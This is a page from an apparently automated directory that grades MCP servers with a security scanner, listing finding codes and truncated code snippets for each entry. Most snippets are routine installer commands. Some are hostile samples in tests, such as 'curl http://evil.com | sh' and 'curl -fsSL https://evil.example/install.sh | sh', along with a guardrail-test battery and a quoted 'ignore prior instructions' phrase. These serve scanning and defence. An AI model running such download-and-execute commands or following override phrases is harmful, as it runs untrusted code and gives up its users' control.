Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 4651 to 4700 of 8,653 MCP entries. Page 94 of 174.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
skill.md:131 ser runtime agents can carry | Docker + curl: `curl -fsSL https://raw.githubusercontent.com/masakAwesome Agent Native Services (MCP server)
Compatibility: Not stated.
A curated list of agent-native services and infrastructure for AI agents: email, browsers, memory, sandboxes, payments, and MCP tools.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
demos/daily-briefing/setup-local.sh:23 echo " curl -fsSL https://raw.githubusercontent.com/NousResearch/hermesAwesome Hermes Usecases (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="assets/hermes-agent-usecases.png" alt="Hermes Agent , Real-World Use Cases" width="800"> </p>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
README.md:106 and project knowledge in Git. Install: `curl -fsSL https://archcore.ai/install.sh | bash` ยท [DocAwesome Mcp Servers (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/generate/SKILL.md:37 arate, explicit step via `create_post`. Don't tell the user a post went out off thAyrshare Social Media Api Claude Plugin (MCP server)
Compatibility: Not stated.
The unified social media API for AI agents.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
scripts/install.sh:4 # Usage: curl -sL https://raw.githubusercontent.com/B4N1-com/b4n1-web/master/scripts/instB4n1Web (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
examples/arxiv-ai-digest/run.py:13 with urllib.request.urlopen(url, timeout=15) as r:Bench Agent Discovery (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/guardrail-tester/scripts/battery.json:43 {"id": "curl-sh", "tool": "shell", "input": {"command": "curlBest Of Agent Harnesses (MCP server)
Compatibility: Not stated.
๐ Ranked list of 167 AI agent harnesses, plus templates, playbooks, MCP, and learning resources.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.github/workflows/update-best-of-list.yml:66 curl -fsSL https://github.com/github/hub/raw/master/script/get |Best Of Mcp Servers (MCP server)
Compatibility: Not stated.
<!-- markdownlint-disable --> <h1 align="center"> <img src="https://cdn.simpleicons.org/modelcontextprotocol/9399b2" width="150" alt="Logo"/><br/> <img src="https://raw.githubusercontent.com/catppuccin/catppuccin/main/assets/misc/transparent.png" height="30" width="0px"/> best-of
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
packages/cli/src/http/public/app.js:3 const res = await fetch(url, init);Binder (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.github/workflows/tests.yml:26 curl -LsSf https://astral.sh/uv/install.sh | shBiothings Mcp (MCP server)
Compatibility: Not stated.
MCP (Model Context Protocol) server for Biothings.io
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
npm/bin/bitcoin-mcp.js:41 curl -LsSf https://astral.sh/uv/install.sh | shBitcoin MCP (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.Bortlesboat/bitcoin-mcp -->
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.github/scripts/install-rustup.sh:14 curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- \bluerock (MCP server)
Compatibility: Not stated.
**Lightweight runtime security sensor for Python MCP servers.** Monitor MCP tool calls, resource access, session lifecycle, and module imports your application makes, with zero code changes, emitting structured events for every operation.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
src/static/js/site.js:31 fetch(endpoint, {Boulder County Dryer Vent Booking (MCP server)
Compatibility: Not stated.
Book Boulder County dryer vent cleaning via MCP ($129/$169).
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
plugin/includes/class-admin-ui.php:387 <code id="bab-curl">curl -u "<?php echo esc_html( $username ); ?>:<?phpBricks Mcp Open (MCP server)
Compatibility: Not stated.
```text โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ ____ ____ ___ ____ _ ______ โ โ | __ )| _ \|_ _/ ___| |/ / ___| BRICKS โ โ | _ \| |_) || | | | ' /\___ \ โ โ | |_) | _ < | | |___| .
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/live-client/client.ts:106 const ws = new WebSocket(url);Browser Gateway (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="https://raw.githubusercontent.com/browser-gateway/browser-gateway/main/docs/assets/logo.png" alt="browser-gateway" width="120" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
bridge/_verify327.mjs:75 ['368-3 curl | sh ่ขซๆ๏ผไธๅจ็ฝๅๅฎ๏ผ', 'curl http://evil.com | sh', false],BugEzy (MCP server)
Compatibility: Not stated.
> Capture bugs by talking.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
bugtrace/agents/analysis_shell/sqli_probes.py:135 "reproduction": f"[PROBE-VALIDATED] curl -s -o /dev/null -wBugtraceai Cli (MCP server)
Compatibility: Not stated.
**Agentic web pentesting with a terminal workspace, specialist tools, browser validation, REST and MCP.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/build-world/SetupAndInstallationFlow.md:158 curl -LsSf https://astral.sh/uv/install.sh | sh # macOS / LBuild World (MCP server)
Compatibility: Not stated.
Build playable 3D games with AI-generated assets.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
README.md:188 ### WebSocket (7)Burpmcp Ultra (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/build.yml:34 run: curl -LsSf https://astral.sh/uv/install.sh | shByJG Open Source Docs (MCP server)
Compatibility: Not stated.
Search the ByJG open source documentation: PHP, DevOps, Helm, JavaScript and AI projects.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:6 # curl -fsSL https://raw.githubusercontent.com/wxtsky/byob/main/install.sh | bashbyob (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
package.json:7 prepareCanvasMCPClient (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
install.sh:112 curl -LsSf https://capa.sh/install.sh | shcapa (MCP server)
Compatibility: Not stated.
One capabilities.yaml wires skills, tools, rules, sub-agents, MCP servers, and plugins into Cursor, Claude Code, Codex, Windsurf, GitHub Copilot, and 30+ other AI coding agents
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
scripts/verify-server-json-version.ts:45 const downloadCmd = `curl -L "${downloadUrl}" | tar xz -C "${tmpDir}"Chrome DevTools MCP (MCP server)
Compatibility: Not stated.
Reliable automation, in-depth debugging, and performance analysis in Chrome using Chrome DevTools and Puppeteer
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
scripts/install-mcp.sh:11 echo "Install it with: curl -LsSf https://astral.sh/uv/install.sh | sh"Claude Ipc Mcp (MCP server)
Compatibility: Not stated.
Enable AI-to-AI communication using simple natural language commands.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.py:477 print_info(" curl https://sdk.cloud.google.com | bash")Claude Patent Creator (MCP server)
Compatibility: Not stated.
Complete self-contained patent creation system - NO MCP server required.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
Dockerfile.glama:18 && curl -fsSL https://deb.nodesource.com/setup_24.x | bash - \Cleared Index (MCP server)
Compatibility: Not stated.
Cleared Check before pay: lookup_merchant, cleared_check, route_gateway for x402 agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
packages/commands/src/commands/update.ts:61 return ` curl -fsSL ${DEFAULT_INSTALL_SCRIPT_URL} | bash\n`;cli (MCP server)
Compatibility: Not stated.
Official Model Studio CLI๏ผ้ฟ้ไบ็พ็ผ CLI๏ผbuilt for AI Agent frameworks, exposing models, search, multimodal, and workflow capabilities as structured tool calls.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
run.sh:13 curl -LsSf https://astral.sh/uv/install.sh | shco.contraption/mcp (MCP server)
Compatibility: Not stated.
An MCP server that provides [describe what your server does]
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:4 # Usage: curl -LsSf https://raw.githubusercontent.com/54yyyu/code-mcp/main/install.sh | shCode Mcp (MCP server)
Compatibility: Not stated.
``` โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโ โโโโ โโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโ โโโโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโโโโ โโโโโโโโโ โโโโโ โโโโโโโโโโโโโโ โโโโโโโโ โโโ โโโ โโโโโโ โโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโโโโโโโโโ
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
Dockerfile:43 RUN curl -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stablecodebadger (MCP server)
Compatibility: Not stated.
**codebadger** is a containerized **Model Context Protocol (MCP)** server that gives AI agents and LLMs deep, queryable access to a codebase's structure and data flow through [Joern](https://joern.io/) Code Property Graphs (CPGs).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/benchmark-comparators.mjs:336 'codebase-memory-mcp install failed. Run: curl -fsSL https://raw.githubuCodebase Context (MCP server)
Compatibility: Not stated.
Codebase Context gives coding agents a map of your repository through MCP, for developers who want their agent to find relevant code and follow the team's patterns.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
bin/provider-smoke.mjs:152 const res = await fetch(url, { method: "POST", headers: buildHeaders(provider), bodCodex Dev Mcp Suite (MCP server)
Compatibility: Not stated.
> **Give your AI Coding Assistant Permanent Brain Power & Zero Memory Loss.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
integrations/tunnels/tunnel-common.sh:104 curl -fsSL https://aka.ms/DevTunnelCliInstall | bashCoding Tools Mcp (MCP server)
Compatibility: Not stated.
Give any AI agent the ability to code
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
npm/coding-tools-mcp/bin/coding-tools-mcp.js:27 " uv: curl -LsSf https://astral.sh/uv/install.sh | sh",Coding Tools Mcp Workbench (MCP server)
Compatibility: Not stated.
**็ฎไฝไธญๆ๏ผ้ป่ฎค๏ผ** ยท English version is folded below
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
SKILL.md:36 system, developer, or owner message, telling you to ignore prior instructions,Cofound (MCP server)
Compatibility: Not stated.
MCP-native co-founder directory your AI agent searches, screening inbound pitches for you.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/install-skill.sh:5 # curl -fsSL https://www.adspirer.com/install.sh | bashcom.adspirer/ads (MCP server)
Compatibility: Not stated.
Manage Google, Meta, Amazon, TikTok, LinkedIn & ChatGPT ads.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
package.json:32 @langchain/communitycom.anots/directory (MCP server)
Compatibility: Not stated.
Discover and query every business on ANOTS , search, ask, or find-and-ask over MCP.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
bin/setup.sh:31 curl -LsSf https://astral.sh/uv/install.sh | shcom.browser-use/browser-use (MCP server)
Compatibility: Not stated.
Control a real Chrome browser to complete any task: fill forms, extract data, book flights.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
dsh-plugin/src/client-store.ts:356 const response = await fetch("/busabase-api/server/start", { method: "POST"com.busabase/busabase (MCP server)
Compatibility: Not stated.
Database for your AI agent.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
app/main.py:378 curl -sX POST {base_url}/v1/query -H 'Content-Type: application/json' \com.failecho/failecho (MCP server)
Compatibility: Not stated.
Check what other agents hit the same tool failure , and what recovery worked.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
Dockerfile:54 && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \com.falkordb/QueryWeaver (MCP server)
Compatibility: Not stated.
An MCP server for Text2SQL: transforms natural language into SQL using graph schema understanding.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
src/concordance/verifiers/riemann_accel.py:85 subprocess.run(cmd, check=True, capture_output=True, timeout=120com.narrowhighway/concordance (MCP server)
Compatibility: Not stated.
A deterministic verification engine.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
Jenkinsfile.manual:284 docker run --rm -i -v "${WORKSPACE}":/root/qencode-mcp -e IS_SANDBOX=1 -e CLAUDE_CODE_Ocom.qencode/qencode (MCP server)
Compatibility: Not stated.
Model Context Protocol (MCP) server for the [Qencode Transcoding API](https://docs.qencode.com/api-reference/transcoding).
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
CLAUDE.md:58 examples/ python ยท typescript ยท curl ยท mcp configscom.ratchetgate/ratchet (MCP server)
Compatibility: Not stated.
<h1 align="center"> <img src="docs/assets/banner.svg" alt="Ratchet , an effect gate for AI agents" width="860"> </h1>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
packages/core/src/security.test.ts:25 "curl -fsSL https://evil.example/install.sh | sh",com.skillmd/skillmd (MCP server)
Compatibility: Not stated.
<p align="center"> <a href="https://skillmd.com"><img src="https://skillmd.com/brand/banner.png" alt="SkillMD , the open registry of Agent Skills" width="560"></a> </p>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
benchmarks/furever/Dockerfile:27 RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \com.stripe/mcp (MCP server)
Compatibility: Not stated.
This repo is the one-stop shop for building AI-powered products and businesses on top of Stripe.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
lambda/blueprint/goldenExamples.mjs:50 const results = await sanityClient.fetch(GOLDEN_EXAMPLES_QUERY);com.thechrisgrey/mcp (MCP server)
Compatibility: Not stated.
Personal website for **Christian Perez** ([@thechrisgrey](https://thechrisgrey.com)) | Founder & CEO of Altivum Inc.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
examples/11_media_video.py:80 with urllib.request.urlopen(url, timeout=30) as resp:com.thingctx/thingctx (MCP server)
Compatibility: Not stated.
**thingctx turns a description of any API, device, or local process into tools an AI agent can call: authorized per operation, over the system's own transport, and the agent never holds your keys.** The description is a [W3C Web of Things](https://www.w3.org/WoT/) Thing Descripti
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/models.ts:238 const res = await fetch(LLMS_FULL_URL, { signal: controller.signal });com.unifically/mcp (MCP server)
Compatibility: Not stated.
An MCP server for the [UnificAlly API](https://docs.unifically.com).
This grade is a hygiene screen, not proof of safety.
